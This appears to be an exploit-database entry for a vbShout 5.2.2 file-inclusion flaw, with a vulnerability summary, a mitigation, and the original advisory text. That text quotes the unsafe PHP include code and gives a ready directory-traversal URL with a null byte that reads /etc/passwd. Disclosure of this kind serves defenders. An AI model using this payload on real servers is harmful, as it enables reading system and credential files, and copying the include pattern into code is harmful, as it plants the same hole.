vbShout 5.2.2 Remote/Local File Inlcusion (Mod/Admin)

vendor:

vbShout

by:

fred777

7,5

CVSS

HIGH

Remote/Local File Inclusion

CWE

Product Name: vbShout

Affected Version From: 5.2.2

Affected Version To: 5.2.2

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

vbShout 5.2.2 Remote/Local File Inlcusion (Mod/Admin)

vbShout 5.2.2 is vulnerable to a Remote/Local File Inclusion vulnerability. This vulnerability allows an attacker to include a file from a remote or local location, which can be used to execute arbitrary code. The vulnerability exists due to the 'do' parameter in the 'vbshout.php' script not properly sanitizing user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing directory traversal characters (e.g. '../') followed by a null byte (%00) to the vulnerable script. This can be used to include files from remote or local locations, which can be used to execute arbitrary code.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized. Additionally, access to the vulnerable script should be restricted to trusted users.

Source

Exploit-DB raw data:

			
#################################################
+
+  Title:       vbShout 5.2.2 Remote/Local File Inlcusion (Mod/Admin)
+  Author:      fred777 - [fred777.5x.to]
+  Link:        http://www.dragonbyte-tech.com/vbecommerce.php?do=purchase&act=product&id=2
+  Vuln:        vbshout.php?do=[path/file][NULL-Byte]
+  Greetzz to:  SceneCoderz
+  Contact:     nebelfrost77@googlemail.com
+
#################################################
 
--[ Vuln Code ] --
 
modcp/vbshout.php:
admincp/vbshout.php:


else if (!empty($_GET['do']))
{
	// We had a GET request instead

$action = $_GET['do'];

if (!empty($_POST['do']))
{
	// $_POST requests take priority
	
$action = $_POST['do'];
}


if (!file_exists(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php'))
{
	if (!file_exists(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php'))
	{
		// Throw error from invalid action
		print_cp_message($vbphrase['dbtech_vbshout_invalid_action']);
	}
	else
	{
		// Include the selected file
		include_once(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php');	
	}
}
else
{
	// Include the selected file
	include_once(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php');	
}

=>

../../../../../../etc/passwd%00
 
################################################
 
--[ Exploitable ]--
 
http://server/vbshout.php?do=[PATH/FILE][NULL-Byte]
 
http://server/vbshout.php?do=../../../../../../../../etc/passwd%00
 
You must be mod oder admin:
modcp/vbshout.php
admincp/vbshout.php
 
################################################